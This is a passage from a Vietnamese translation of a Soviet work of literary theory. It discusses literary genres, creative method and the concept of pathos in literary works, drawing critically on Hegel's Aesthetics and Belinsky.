là sự tổng hợp của chúng.
Thật ra thì cả ba chủng loại văn học đều chứa đựng trong mình sự thống nhất nhận thức của tác giả về “khách thể” tức là sự phản ánh những bản chất đặc trưng vật chất hay tinh thần của hiện thực và về “chủ thể” tức là sự hiểu biết và đánh giá mang tính tư tưởng từ phía tác giả. Trong các tác phẩm của cả ba loại văn học luôn có thể tìm thấy cả ba phương diện cụ thể nội dung của chúng. Và có nghĩa là vấn đề về những khác biệt có nội dung sâu sắc của ba loại văn học không thể giải quyết bằng con đường mà Hêghen và Bêlinxki đã đưa ra. Cho đến nay vấn đề này vẫn chưa có giải pháp thỏa đáng nhất định mặc dù đã tưởng là ai cũng rõ như thế nào là tự sự, trữ tình, kịch nói chung.
Trong nghiên cứu văn học hiện đại vấn đề về các thể loại văn học còn khai thác ít hơn nhiều. Và khai thác nó bằng con đường riêng của nghiên cứu, khái quát hình thức tất nhiên là không thể được. Không thể xem các thể loại chỉ là hiện tượng hình thức – loại hình. Hình thức tác phẩm văn học được tạo nên bởi tất cả những đặc điểm và các phương diện nội dung của nó trong sự thống nhất của chúng và trước hết là bởi những đặc điểm lịch sử cụ thể không lặp lại của hệ đề tài, toàn bộ các vấn đề và cảm hứng của nó.
Do đó các tác phẩm của thể loại này hay thể loại khác trong sáng tác của nhà văn của các thời đại và trào lưu văn học khác nhau nhất định sẽ có những đặc điểm khác nhau của các cốt truyện, kết cấu, ngôn từ nghệ thuật. Nhưng đồng thời trong quan hệ này chúng cũng sẽ khác với các tác phẩm của những thể loại khác trong sáng tác của chính các nhà văn đó. Như vậy là các loại thể cũng giống như các loại văn học thường xuyên có những sự khác biệt cơ bản trong hình thức của mình, tuy nhiên vẫn có thể phát hiện những đặc điểm nội dung mang nét chung nào đó được lặp lại một cách lịch sử.
Rõ là uổng công ví dụ sự nỗ lực làm điều đó của V.B.Sklôpxki trong “lý thuyết tiểu thuyết” của mình đã đưa tất cả đặc điểm thể loại này vào cấu trúc tác phẩm. Trong sáng tác của Stern, V.B.Sklôpxki đã đặc biệt nghiên cứu theo quan điểm ấy một trong những tiểu thuyết của nhà văn có kết cấu xác định. Nhưng các tiểu thuyết của Risácxơn lại có kết cấu khác, các tiểu thuyết của V.Xcốt thì có kết cấu của mình, còn những tiểu thuyết của Đichken đặc biệt trong giai đoạn sau của sáng tác của ông khác biệt dữ dội về mặt kết cấu với tiểu thuyết của các nhà văn xuôi Anh tiền bối. Cũng dễ vạch ra điều đó trong các nền văn học dân tộc khác. Các tiểu thuyết của các nhà văn Nga lớn nhất được sáng tác trong cùng một thời đại – của Gôntrarốp, Tuốcghênhép, L. Tônxtôi, Đôxtôiepxki, khác biệt nhau rõ rệt bởi tất cả các đặc điểm hình thức của mình, bởi cốt truyện, các chi tiết tạo hình trực quan, kết cấu các hình tượng và toàn bộ sự trần thuật, ngôn từ nghệ thuật. Tuy nhiên toàn bộ chúng là hiện tượng của một thể loại, toàn bộ chúng là các tiểu thuyết. Cái gì là cái chung giữa chúng. Điều đó tất nhiên là cái tính chung nội dung thể loại của chúng. Nhưng vấn đề cái chung ấy cũng chưa được quyết định một cách đầy đủ rõ ràng trong khoa học hiện đại về văn học.
Phạm trù thường có tên “phương pháp” sáng tác là một phạm trù có nội dung phong phú. Những năm 1930 các nhà văn học Xô Viết đã đi tới sự phân hóa rất quan trọng các khái niệm khoa học trong mối quan hệ này. Họ đã nêu ra vấn đề “phương pháp” sáng tác, xem nó là nguyên tắc phản ánh nghệ thuật này khác, ví như chủ nghĩa hiện thực. Họ đã xác định rằng các trào lưu văn học như những hiện tượng lịch sử cụ thể không lặp lại và “các phương pháp” sáng tác như những thuộc tính loại hình lặp lại một cách lịch sử của các tác phẩm văn học. Đó không phải là cái gì hoàn toàn khác biệt rằng trong các tác phẩm của trào lưu này hay trào lưu khác có thể xuất hiện “các phương pháp” sáng tác khác nhau, những nguyên tắc phản ánh cuộc sống khác nhau.
Đương nhiên rằng nguyên tắc này hay nguyên tắc khác phản ánh nghệ thuật cuộc sống thì đó cũng là một phương diện của nội dung các tác phẩm văn học. Những phương diện ấy có thể tồn tại trong sáng tác của nhà văn những thời đại và trào lưu khác nhau, được lặp lại một cách lịch sử, trong khi vẫn có những đặc điểm không lặp lại ở những đặc điểm cụ thể của nội dung sáng tác của họ. Hiển nhiên của Phônvidin và Rađisép, cả Gôgôn và Nhêcraxốp, cả L.Tônxtôi và Sêkhốp là những nhà hiện thực chủ nghĩa trong phương diện phê phán của nội dung của tác phẩm của mình,mặc dù họ sáng tác trong những thời đại khác nhau và thuộc về những trào lưu khác nhau.
Nhưng về sau nhiều nhà nghiên cứu văn học Xô Viết đã làm mất đi tính chính xác và đơn giản của khái niệm đó. Họ dần dần đã biến “phương pháp” sáng tác từ khái niệm loại hình học thành khái niệm cụ thể lịch sử. Họ đã gọi những đặc điểm hệ đề tài, toàn bộ vấn đề và cảm hứng sáng tác của các nhà văn của một thời đại nhất định và một trào lưu nhất định là “phương pháp” sáng tác và đôi khi cùng với cả những đặc điểm cụ thể của hình thức các tác phẩm của chúng. Hơn nữa họ đã không xây dựng một thuật ngữ mới nào có thể làm rõ thêm phương diện loại hình học của nội dung, các phương diện mà trước kia trong những năm 30 họ đã gọi là “phương pháp” sáng tác. Và điều đó thường đưa đến lẫn lộn khái niệm.
Mỗi biểu hiện của sự không hoàn thiện và thiếu bền vững của khái niệm mới là trong khi gọi một trong những nguyên tắc của phản ánh nghệ thuật cuộc sống, các nhà nghiên cứu văn học của chúng ta cho đến bây giờ – đã 35 năm trôi qua kể từ khi bắt đầu nói về “phương pháp” sáng tác – đã không thỏa thuận gọi một cách khác hoặc những nguyên tắc của sự phản ánh nghệ thuật cuộc sống là phi hiện thực chủ nghĩa.
Thoạt đầu tiên nguyên tắc phản ánh khác với chủ nghĩa hiện thực đã được người ta gọi là “chủ nghĩa lãng mạn”. Nhưng dưới cái tên “chủ nghĩa lãng mạn” đã từ lâu thường hiểu là một trào lưu văn học nhất định hay chính xác hơn là những trào lưu xuất hiện trong các nền văn học châu Âu cuối thế kỷ XVIII đầu thế kỷ XIX và giữa chúng có nhiều cái chung. Đối với mỗi nền văn học dân tộc, chủ nghĩa lãng mạn đã là một hiện tượng cụ thể lịch sử và không lặp lại. Mưu toan bổ sung ý nghĩa loại hình học cho dấu hiệu lịch sử cụ thể ấy đồng thời đã làm rối rắm thêm các khái niệm nghiên cứu văn học. Hơn nữa thuật ngữ “chủ nghĩa lãng mạn” đến lúc dần dần đã có thêm ý nghĩa loại hình học khác. Cảm hứng lãng mạn của sáng tác như đặc tính được lặp lại một cách lịch sử của nội dung các tác phẩm văn học đã được họ làm rõ. Tất cả điều đó đã gây ra rất khó khăn việc sử dụng chính xác thuật ngữ “chủ nghĩa lãng mạn”. Đồng thời điều đó làm mất đi sự sáng rõ và sự hiểu biết thực chất nguyên tắc phản ánh đời sống đối lập với chủ nghĩa hiện thực là gì, là cái gì từ phía nội dung tác phẩm.
Nhưng cả những khái niệm có tính chất loại hình khác phản ánh những đặc tính và các biến thể khác nhau của cảm hứng tư tưởng – cảm xúc của các tác phẩm văn học cũng không đem lại sự sáng tỏ đầy đủ trong khoa học hiện đại về văn học. Ví dụ sự khác nhau giữa cảm hứng anh hùng và lãng mạn, giữa tính chất anh hùng và tính chất bi kịch, giữa tính cao thượng và tính hài kịch, giữa cảm hứng hài hước và châm biếm là chỗ nào? Nhưng chính tất cả những điều đó cũng mang những đặc tính lặp lại một cách lịch sử các nội dung văn học nghệ thuật, mà những đặc tính ấy cũng nhận được tính cụ thể lịch sử của mình trong các tác phẩm các nhà văn những thời đại và trào lưu khác nhau.
Như vậy là bên cạnh hệ thống những khái niệm có tính chất loại hình phản ánh những đặc tính lặp lại một cách lịch sử của hình thức nghệ thuật, trong nghiên cứu văn học cần phải xây dựng một hệ thống hoàn chỉnh những khái niệm phản ánh những đặc tính được lặp lại một cách lịch sử của nội dung có tính nghệ thuật. Cần có một bộ phận khác của thi pháp chuyên nghiên cứu chúng, đó là “thi pháp nội dung”. Với sự hỗ trợ của một loại khái niệm nhằm khám phá sự phát triển mang tính lịch sử của văn học trong những nguyên tắc có nội dung phong phú của nó, các nhà nghiên cứu văn học có thể tiến hành một cách hiệu quả việc nghiên cứu từ trình độ biểu đồ sự kiện sáng tác của các nhà văn riêng lẻ – một việc rất quan trọng – đến việc nghiên cứu khoa học sâu sắc quá trình văn học trong tính quy luật lịch sử – xã hội của nó.
Trong khi gác lại phương diện loại hình của hình thức nghệ thuật, cuốn sách này giới thiệu sự xem xét tỉ mỉ những vấn đề liên quan với các phương diện loại hình của nội dung các tác phẩm văn học nghệ thuật.
Nhưng những vấn đề được đặt ra trong cuốn sách hiển nhiên cần phải dựa vào sự hiểu biết tổng quát về nghệ thuật nói chung và về văn học nghệ thuật nói riêng. Tác giả đã trình bày những quan điểm của mình trong cuốn “Cái thẩm mĩ và cái nghệ thuật” (Nhà xuất bản MGU, 1965). Tác giả đã gửi nó đến các độc giả của mình.

PHẦN THỨ NHẤT

I. Cảm hứng của các tác phẩm văn học và tính chân thực lịch sử của nó
Tất cả đặc tính được lặp lại một cách lịch sử của nội dung văn học nghệ thuật – những đặc tính có nội dung phong phú của các chủng loại, thể loại văn học, những nguyên tắc phản ánh nghệ thuật đời sống, các biến thể của cảm hứng tư tưởng cảm xúc của các tác phẩm – không tách biệt lẫn nhau. Chúng luôn gắn bó và ảnh hưởng qua lại với nhau trong tính cụ thể chung của nội dung các tác phẩm riêng lẻ, trong sáng tác các nhà văn riêng lẻ, trong văn học của tất cả trào lưu.
Tuy vậy, những khái niệm có tính chất loại hình phản ánh những mặt và đặc tính khác nhau ấy của nội dung nghệ thuật cần được xem xét mỗi cái trong sự riêng biệt và đồng thời phải cân nhắc tất cả những tác động tương hỗ có thể có của chúng. Trong sự khảo sát như vậy phải xuất hiện một trình tự nhất định. Rõ ràng là phải bắt đầu nghiên cứu những phương diện loại hình của nội dung các tác phẩm văn học mà chúng có quan hệ chặt chẽ nhất với những đặc điểm lịch sử cụ thể của nó và đồng thời chúng lại có ý nghĩa to lớn nhất đối với việc đánh giá có tính lịch sử các tác phẩm ấy. Một ý nghĩa như vậy tất nhiên trước hết là cảm hứng các tác phẩm văn học nghệ thuật trong các biến thể của nó.
Thế nào là cảm hứng của các tác phẩm văn học?
1
Trong khoa học của chúng ta, lý thuyết cảm hứng được nghiên cứu rất không đầy đủ. Nhưng nó có lịch sử của mình, về cơ bản có liên quan với những thế kỷ trước bởi vì trong thế kỷ cuối cùng các nhà triết học và nghiên cứu văn học ít khảo cứu vấn đề này. Dẫu sao vẫn cần sử dụng những thành tựu tốt nhất trong lịch sử.
Trong tất cả các tác giả đề cập đến vấn đề này (Arixtốt, Lônghi, Siller, Bêlinxki và những người khác), thì Hêghen trong “Mỹ học” của mình đã quan tâm đến nó nhiều hơn cả. Mặc dù chủ nghĩa duy tâm khách quan làm cơ sở triết học, lý thuyết cảm hứng của ông có lợi thế hơn so với những người khác bởi chủ nghĩa lịch sử của mình, tuy còn một ít phiến diện. Điều khiếm khuyết ấy là ở chỗ nhà triết học Đức chỉ quan tâm đến cảm hứng hoạt động của các nhân vật tác phẩm chứ không phải cảm hứng tư tưởng và tình cảm của nhà văn.
Hêghen đưa ra cách hiểu cảm hứng của mình trong chương bàn về tính năng hành động trong các cốt truyện nghệ thuật, chủ yếu là các tác phẩm văn học. Theo ông, hành động là “sự thổ lộ truyền cảm rõ ràng nhất con người, là sự thổ lộ cả tâm trí của nó và cả mục đích của nó”. Đồng thời ông chỉ ra “việc mô tả hành động như một sự vận động thống nhất, toàn vẹn của hành vi, của sự phản ứng và của sự giải quyết cuộc đấu tranh lẫn nhau của chúng (tức là của sự ra đời, sự phát triển và tháo gỡ những mâu thuẫn giữa các tính cách nhân vật – G.P) là công việc chủ yếu của thi ca (XII, 233)(1).
Sau đó Hêghen làm sáng tỏ những nhân tố kích thích hành động của các nhân vật tác phẩm văn học. Ông cho rằng nói chung trong nghệ thuật “những lợi ích mang tính chất lý tưởng cần đấu tranh với nhau”, rằng “những nhu cầu quan trọng của trái tim con người là những lợi ích ấy”, rằng “đó là những sức mạnh của tâm hồn con người, những sức mạnh mà vì thế con người mới là người, cần phải thừa nhận và nó cần phải được biểu hiện và bộc lộ ở trong mình”. Và do đó triết học gọi những sức mạnh ấy là “những sức mạnh phổ biến của hành động” (XII, 224).
Cảm hứng, theo Hêghen, đó chính là “những sức mạnh phổ biến hiện ra không chỉ tự nó trong sự tự chủ của mình nhưng đồng thời cùng sống trong lồng ngực người và thúc đẩy tâm hồn người trong những phần sâu thẳm nhất” (XII, 236).
“Cảm hứng – ông viết tiếp – tạo nên trung tâm thực sự, vương quốc thực sự của nghệ thuật, sự thể hiện của nó cả ở trong các tác phẩm nghệ thuật và cả trong sự cảm thụ cao độ bởi khán giả”. “Cảm hứng làm xao xuyến bởi vì nó là một sức mạnh mãnh liệt tự nó trong sự sinh tồn có tính người” (XII, 237).
Theo Hêghen thì “những sức mạnh phổ biến của hành động” tồn tại tự nó một cách khách quan và đồng thời chúng có thể trở thành “những sức mạnh của tâm hồn con người” và “thúc đẩy” nó trong “những sâu thẳm” của nó là như thế nào? Hêghen chỉ cung cấp một sự liệt kê ngắn gọn “những đề tài vĩ đại của nghệ thuật” ấy. Chẳng hạn như “gia đình, Tổ quốc, Nhà nước, giáo hội, vinh quang, tình bạn, đẳng cấp, phẩm giá, còn trong thế giới chủ nghĩa lãng mạn thì đặc biệt là danh dự và tình yêu” (XII, 224).
Tất cả những điều đó ở Hêghen tất nhiên chỉ là những ví dụ nhân tiện riêng lẻ mà đáng tiếc là ông không hề hệ thống hóa và cũng không phân tích sâu chút nào. Và nếu như thừa nhận theo Hêghen thì biểu hiện của cảm hứng là một cái gì đó chủ yếu hoặc nói thận trọng hơn là một cái gì đó rất quan trọng vừa đối với chính các tác phẩm nghệ thuật, trước hết là văn học nghệ thuật, vừa đối với nhận thức của những người tiếp nhận chúng thì những khái niệm do ông đề xuất của “những sức mạnh phổ biến của hành động” hoàn toàn đáng phân tích và hệ thống hóa.
Tất nhiên tình bạn và tình yêu, danh dự, phẩm giá và vinh quang, đẳng cấp và Nhà nước và cuối cùng là Tổ quốc – tất cả những điều ấy không phải là “những sức mạnh hành động” ngang nhau của mọi người. Và tất nhiên chúng không tồn tại riêng biệt. “Sự thống nhất toàn bộ” những sức mạnh ấy vì vậy không thể nhìn nhận ra ngoài sự phụ thuộc của mỗi một với những cái khác và cùng một bình diện. Một số trong những sức mạnh ấy là cơ bản, số khác là thứ yếu trong chừng mực khác nhau. Chúng ta bắt đầu từ những cái thứ yếu hơn cả.
Giữa “những sức mạnh chung của tâm hồn” mà Hêghen đã chỉ ra vững chắc rằng trong nghệ thuật cần miêu tả cuộc đấu tranh các lợi ích lý tưởng thì tất nhiên đó là tình yêu và tình bạn. Chúng có ý nghĩa to lớn trong những mối quan hệ riêng của mọi người và vì vậy thường là, thậm chí rất thường xuyên là đề tài cơ bản trong các tác phẩm văn học trong các cốt truyện tự sự và kịch cũng như trong các suy tưởng trữ tình.
Nhưng có phải những sức mạnh ấy thường xuyên nhận được trong đó ý nghĩa của cái chung? Nói cách khác chúng thường thường không chỉ có tính chất riêng tư mà còn “siêu riêng tư”, không chỉ có ý nghĩa đạo đức cá biệt mà còn rộng hơn, chung hơn. Tất nhiên là còn xa và không thường xuyên. Thường thì những con người hiện thực và các nhân vật tác phẩm văn học trong những quan hệ của mình không tiếp tục đi đến những khuynh hướng và sự say mê cá nhân hay cả những thói quen và sự thèm muốn được củng cố nhờ thời gian nhưng trong đó có thể biểu hiện một cách rõ ràng những đặc điểm chủ yếu của đời sống hoàn cảnh, đất nước, thời đại của chúng. Chẳng hạn như sự say mê Anatôli Kuragin của Natasa Rôxtôva bộc lộ sự sinh động, nồng nàn bản chất trong sáng của nàng. Chẳng hạn như tình yêu của Hanx Kaxtor với bà Sôsa trong “Nỗi đau thần diệu” của T.Man phơi bày sự khờ khạo thị dân trẻ tuổi. Hay như tình bạn của Ônhêgin và Lenxki làm lộ rõ “cái khác nhau qua lại” của họ.
Nhưng thường là một tình yêu nào đó và một tình bạn nào đó bắt nguồn từ sự hiểu biết và đánh giá cao những đặc tính đạo đức khách quan của đối tượng của mình, hoặc nói theo ngôn ngữ Hêghen, là từ phẩm giá trong nghĩa rộng và từ danh dự của những người mà chúng hướng đến. Chẳng hạn như tình yêu của Tachiana Larina với Ônhêgin, trong đó cảm thấy lờ mờ sự bất mãn cao thượng vì sự trống rỗng và lạc hậu xã hội của đời sống tầng lớp quý tộc thống trị. Hay là tình yêu của Lavrêxki với Lida – người thể hiện đối với anh ta những nguyên tắc của “tính hiền lành đạo đức” trước “lẽ phải nhân dân” mà chính anh ta khao khát. Chẳng hạn như tình bạn của Lôpukhốp và Kirxanốp, những người được đánh giá cao không chỉ về trí tụê và sự lương thiện mà cả sự trung thành với những nguyên tắc đạo đức mới và lòng khát khao “thế kỷ vàng”. Hoặc như tình bạn của Karlốt và Pôda (“Đông Karlốt”) của Sinler với sự khẳng khái và khát vọng bên trong của tình bạn hy sinh thân mình trong cuộc đấu tranh với nền bạo chính.
Nói cách khác tình yêu và tình bạn trở thành “những sức mạnh phổ biến của tâm hồn” khi chúng chứa đựng trong mình không chỉ sự yêu mến riêng biệt và sự khát khao, mà cả khi trong chúng tự biểu lộ những kỳ vọng đối với những lý tưởng xã hội này hay khác, mặc dù được nhận thức rất không rõ ràng, chủ quan, trừu tượng, thăng hoa. Còn những lý tưởng xã hội thường là, mặc dù, tất nhiên, xa vời và không luôn luôn tác động vào những con người đề cao đạo đức, được giới thiệu đối với họ như là cái gì đó cao cả. Tình yêu, tình bạn cao cả cũng như tình đồng chí và sự kính trọng lẫn nhau nói chung của mọi người thực sự là “những sức mạnh phổ biến của hành động” đi ra sau cái cá nhân, riêng lẻ trong những mối quan hệ của chúng. Chúng có thể trở thành cảm hứng của những quan hệ cá nhân.
Nhưng các lý tưởng xã hội thường là một cái gì đó cao cả và mạnh mẽ đem lại phẩm giá, danh dự đôi khi là vinh quang đời sống và hoạt động của nó cho mọi người tự hướng tới chúng càng không phải là một cái gì đó chỉ riêng lẻ ngẫu nhiên xuất hiện theo kiểu tuỳ tiện của những người riêng biệt. Chúng luôn luôn thuộc về những nhóm và tầng lớp này khác và trong mức độ lớn hơn lại có thể có ý nghĩa “siêu cá thể” xã hội hơn những thái độ xúc cảm giác những con người riêng lẻ.
Hêghen chỉ nhắc tới “đẳng cấp”. Nhưng đẳng cấp đó chỉ là hình thức luật pháp của những tồn tại và quan hệ của các giai cấp xã hội mà những tác động qua lại của chúng là cơ sở đời sống của toàn thể xã hội dân tộc.
Nhưng cái thuộc tính đơn giản về hoàn cảnh (giai cấp) xã hội này hay khác vẫn chưa quy định những lý tưởng xã hội của con người. Các giai cấp luôn tác động lẫn nhau, chúng thường luôn bị lôi cuốn bởi cuộc đấu tranh chính trị ở mức độ này hay mức độ khác. Chúng thường lôi cuốn một bộ phận nhỏ hay lớn của mình vào các cuộc vận động xã hội thời đại mình, tham gia với mức độ tích cực khác nhau trong tổ chức và hoạt động của chính quyền Nhà nước. Trong tất cả các quá trình và quan hệ ấy hệ tư tưởng của các tầng lớp xã hội riêng lẻ, của các vận động xã hội được hình thành và các lý tưởng của chúng được xác lập. Và toàn bộ điều đó gắn liền chặt chẽ với số phận lịch sử toàn xã hội – của bộ tộc, dân tộc, quốc gia.
Hêghen đã đề cập đến Tổ quốc. Nhưng tổ quốc – đó không đơn giản là đất nước, nơi mọi người đang sống cuộc đời riêng của mình và là nơi cha ông họ đã sống. Đó luôn luôn là một xã hội dân tộc nào đấy trong một mức độ nhất định của đời sống xã hội của mình với những truyền thống, đạo đức, tập quán quá khứ và chủ yếu là với những khuynh hướng khác nhau nhất định của sự phát triển xã hội bắt nguồn từ toàn bộ những tương quan của lực lượng xã hội của nó.
Sự hoạt động xã hội của các giai cấp, các giới xã hội khác nhau khích lệ các lý tưởng của họ luôn gắn bó cách này cách khác với những khuynh hướng chung của sự phát triển mang tính dân tộc lịch sử. Nó thể hiện trong mình mặt này hay mặt khác từ những khuynh hướng ấy và có được ý nghĩa tiến bộ toàn dân trong mức độ nhất định.
Cuộc đấu tranh vũ trang của nhà nước giai cấp và của các tầng lớp xã hội ủng hộ nó với kẻ thù bên ngoài vì nền độc lập của đất nước và hoạt động văn hóa, pháp luật, nội chính của chính quyền nhà nước, thúc đẩy sự phát triển xã hội có thể có cái ý nghĩa ấy. Hoạt động chính trị, tư tưởng của các tầng lớp xã hội tiên tiến, trước hết là hoạt động cách mạng luôn luôn có ý nghĩa ấy.
Trong tất cả các điều đó thì toàn bộ các giai cấp, nhóm, tầng lớp xã hội, toàn bộ các tổ chức Nhà nước và những vận động xã hội, đồng thời cả những đại biểu xuất sắc và riêng biệt của chúng có thể biểu lộ những sức mạnh và khả năng to lớn. Tất cả điều đó đòi hỏi ở mọi người nỗ lực lớn lao về sức mạnh trí tuệ và đạo đức, những năng lực vượt lên trên quyền lợi giai cấp, đẳng cấp, riêng tư, cá nhân chật hẹp và vươn tới những khát vọng “siêu cá thể”, toàn dân, thấm nhuần sự quan tâm đến lợi ích đất nước, đến sự phát triển của nó, đến lợi ích của quần chúng nhân dân lao động và biểu hiện trong đó ý chí và lòng dũng cảm, lòng hăng hái và chủ nghĩa anh hùng, đức hy sinh và lòng nhân đạo.
Hoạt động tiến bộ chung dân tộc của toàn bộ các tầng lớp xã hội và những lý tưởng cao cả của chúng được thể hiện trong các hành động, các quan hệ, các xúc cảm của những người riêng lẻ. Chúng, nếu vận dụng cách nói của Hêghen “sống trong lồng ngực” mọi người và “chuyển động tâm hồn của chúng trong phần sâu thẳm nhất của nó”. Khi đó chúng là cảm hứng của các hành động, quan hệ, xúc cảm của mình, tăng thêm phẩm giá, danh dự cho chúng không phải theo phép lịch sự, hình thức mà là thực chất. Và những phẩm giá, danh dự ấy có thể tiếp tục trở thành “những sức mạnh phổ biến của tâm hồn” trong các quan hệ riêng của chúng – trong tình yêu và tình bạn, trong tình đồng chí, trong sự tôn trọng lẫn nhau của chúng.
Những khuynh hướng tiến bộ chung dân tộc của phát triển xã hội trên mức độ này khác với đời sống lịch sử của nó, những biểu hiện và sự phản ánh của chúng trong những quan hệ qua lại, những xúc cảm và hoạt động của những tầng lớp xã hội khác nhau, của những cá nhân riêng lẻ – tất cả cái đó là “sự thật đời sống” tồn tại khách quan của xã hội mà văn học có thể suy ngẫm và đánh giá cách này hay cách khác.
Nhưng trong đời sống của các xã hội dân tộc khác nhau luôn tồn tại bên cạnh “sự thật” của nó, còn có “điều dối trá” có tính lịch sử của nó mà văn học vẫn có thể suy ngẫm và đánh giá theo những cách khác nhau.
2
Ở trên đã nói về lý thuyết Hêghen về cảm hứng chứa đựng trong mình một số phiến diện và sự khiếm khuyết bắt nguồn từ đó. Một trong những nhân tố đó là ở chỗ, theo ý kiến Hêghen, nội dung nghệ thuật có thể chỉ là sự tái hiện những phương diện và khía cạnh của hiện thực mà trong đó biểu hiện sự tự ý thức của “tinh thần thế giới” tự phát triển, nói cách khác chúng là sự biểu hiện của những khuynh hướng tiến bộ của sự phát triển của các dân tộc và thông qua đó là của đời sống lịch sử toàn thế giới. Và ngược lại những đặc điểm và bản chất của tồn tại nhân loại đã bị mất đi sự tiến bộ có tính dân tộc của mình hay là theo Hêghen, đã “từ bỏ” “tinh thần thế giới” sẽ không thể trở thành đối tượng miêu tả trong nghệ thuật chân chính. Chúng đang tồn tại nhưng chúng bị tước mất “tính hợp lý” lịch sử thì trong nghĩa đó là “thực tại”. Chúng không đáng để tái hiện nghệ thuật.
“Nhưng trong sự mô tả hành động có tính lý tưởng, Hêghen khẳng định, cái thuần túy tiêu cực không cần tìm vị trí của mình trong tư cách nền tảng cơ bản đối với sự phản ứng thiết yếu” (có nghĩa là đối với sự đấu tranh đối lập với các nhân vật hành động do tính lý tưởng trong các cốt truyện tác phẩm. G. P); là cái “mà chỉ có tiêu cực, nhạt nhẽo, tầm thường xa rời ta cho nên vì thế mà hoàn toàn trống rỗng và vì thế mà chúng ta ghét bỏ… Điều tàn bạo, tai ác, cưỡng bức, khắc nghiệt của những ai có ưu thế sức mạnh còn có căn cứ chuyển vào quan niệm nếu như chúng buộc phải theo sự cao cả có nội dung phong phú của tính cách và mục đích. Nhưng cái xấu như ghen tị, hèn nhát và đê tiện thì lại thành ra đối lập. Quỷ sứ vì vậy mang theo mình là một hình dáng xấu xí, hư hỏng về thẩm mỹ vì nó là một cái gì đó khác như là sự dối trá trong chính bản thân và vì thế trong mức độ cao là một khuôn mặt buồn chán” (XII, 220).
Như vậy, trong nghệ thuật chân chính, theo Hêghen, không có chỗ cho việc mô tả những phương diện và yếu tố tiêu cực của sự phát triển lịch sử đời sống dân tộc, “những điều dối trá” của nó. Nhưng cách hiểu nội dung nghệ thuật như vậy thu hẹp và làm nghèo những khả năng nhận thức của nó, làm cho nội dung ấy rất phiến diện và bị mâu thuẫn với lịch sử nghệ thuật.
Hêghen trong lập luận của mình vạch rõ những tính chất và tình cảm đạo đức xấu ra riêng lẻ hiện ra trong những quan hệ giữa người với người như sự giận dữ, ghen tức, hèn nhát, đểu cáng. Những điều đó và những tính chất tinh thần giống như chúng biểu hiện thành những quan hệ của chúng chẳng hạn như tình yêu và tình bạn thường có trong đời sống ý nghĩa và nguồn gốc cá nhân hoàn toàn chính là biểu hiện những tư chất cá nhân của bản chất người. Việc miêu tả chúng trong nghệ thuật có thể là phương tiện của sự hiểu biết và đánh giá những tính cách xã hội khác nhau.
Nhưng thường thì sự căm hận và ghen ghét, sự hèn nhát giả nhân giả nghĩa, đểu cáng cũng trở thành “những sức mạnh phổ biến của hoạt động con người” trong đời sống hiện thực và sau đó là trong các cốt truyện tác phẩm của chủng loại mình. Điều đó thường có khi những xúc động thấp hèn biểu lộ những hành động của chúng xuất hiện một cách có quy luật trong những tính cách xã hội của con người và thể hiện trong bản thân những quan điểm đạo đức và hệ tư tưởng nhất định sinh ra những mâu thuẫn đời sống xã hội của xã hội giai cấp bóc lột.
Tính hung hãn và tàn bạo thường đặc biệt hiện ra trong đó khi những tầng lớp xã hội thống trị chính trị và tài sản nô dịch một cách rất dữ dội và tàn bạo về kinh tế những tầng lớp nghèo khổ, khi chúng với cách thức ấy áp bức tàn nhẫn họ bằng chính quyền của mình và truy nã các nhóm tiến bộ xã hội và những phong trào tiến bộ hướng đến giảm nhẹ tình cảnh của nhân dân và bảo vệ quyền lợi của họ. Sự giả nhân giả nghĩa và hèn nhát thường là hậu quả của việc những người bị áp bức và cùng quẫn không có sức mạnh chống lại những kẻ nô dịch mình và cố gắng thoát khỏi tình cảnh bị áp bức cùng cực. Tính ỳ tinh thần và sự lười biếng thường phát triển trong các tầng lớp thống trị, những kẻ sống cuộc đời ăn bám, nhưng cũng là bản tính của những người lao động trong sự thiếu thốn tận cùng, sự khiếp sợ, không phát triển trí tuệ của họ.
Tất cả điều đó là những biểu hiện khác nhau của các khuynh hướng phản động toàn dân tồn tại trong đời sống của các dân tộc này hay khác trong những giai đoạn khác nhau của sự phát triển xã hội giai cấp. Và tất cả những cái đó như những cái khác giống chúng, những động cơ và xúc cảm tiêu cực, hèn hạ gợi ra từ hoàn cảnh khách quan đời sống của những tầng lớp xã hội hoặc những cá nhân riêng biệt cũng có thể trở thành những đặc tính cơ bản của thế giới bên trong của chúng. Trong khi đã tiếp nhận mức độ nhất định của niềm tin và sự giác ngộ, chúng có thể làm thành những “sức mạnh phổ biến” có thể thức tỉnh mọi người đến những hành động nhất định và chúng cũng có thể “sống trong ngực con người” và “thúc đẩy tâm hồn của chúng”. Nói cách khác, chúng có thể theo cách của mình trở thành “cảm hứng” của đời sống con người. Và hình tượng tượng trưng của Quỷ sứ mà Hêghen gọi là “hình dáng xấu xí hư hỏng về mặt thẩm mỹ” và “buồn chán”, thực ra thường có trong nghệ thuật thế giới – trong sự hiểu biết khác nhau của mình – bằng hình tượng đầy xúc cảm và có ý nghĩa thẩm mỹ.
Sự hoạt động thoái hóa và phản động của các tầng lớp xã hội khác nhau và của chính quyền Nhà nước của xã hội đối kháng giai cấp cũng như những thái độ và xúc cảm vô đạo đức, hèn hạ được sinh ra bởi nó, xuất hiện có tính quy luật trong những điều kiện nhất định của phát triển xã hội và là “sự dối trá” của đời sống lịch sử – dân tộc của xã hội có giai cấp.
Nhưng những khuynh hướng thoái hóa, phản động và tiến bộ toàn dân có sự phát triển dân tộc không tách biệt lẫn nhau mà cũng tồn tại và tác động qua lại và thậm chí thường hòa hợp một cách mâu thuẫn trong những biểu hiện cá biệt, riêng lẻ, toàn dân của mình. Vì vậy “sự thật” và “sự dối trá” của đời sống xã hội các dân tộc khác nhau cũng thường gắn chặt với nhau ở mỗi một trong các dân tộc ở từng thời đại của sự phát triển lịch sử của chúng theo những cách khác nhau. Thường thì, đặc biệt là giữa các tầng lớp có đặc quyền của xã hội có giai cấp – chúng có những mặt khác nhau của đời sống của hoạt động nhân sinh, của các tính cách xã hội con người, tạo ra mâu thuẫn bên trong sâu sắc của chúng. Chẳng hạn, hoạt động có tính công dân của mọi người và đời sống sinh hoạt gia đình riêng của họ hoặc những quan điểm tư tưởng trừu tượng của họ và hình ảnh thế giới tưởng tượng của họ có thể lộ ra cái mâu thuẫn như vậy và thể hiện trong nó những khuynh hướng khác nhau của đời sống lịch sử dân tộc.
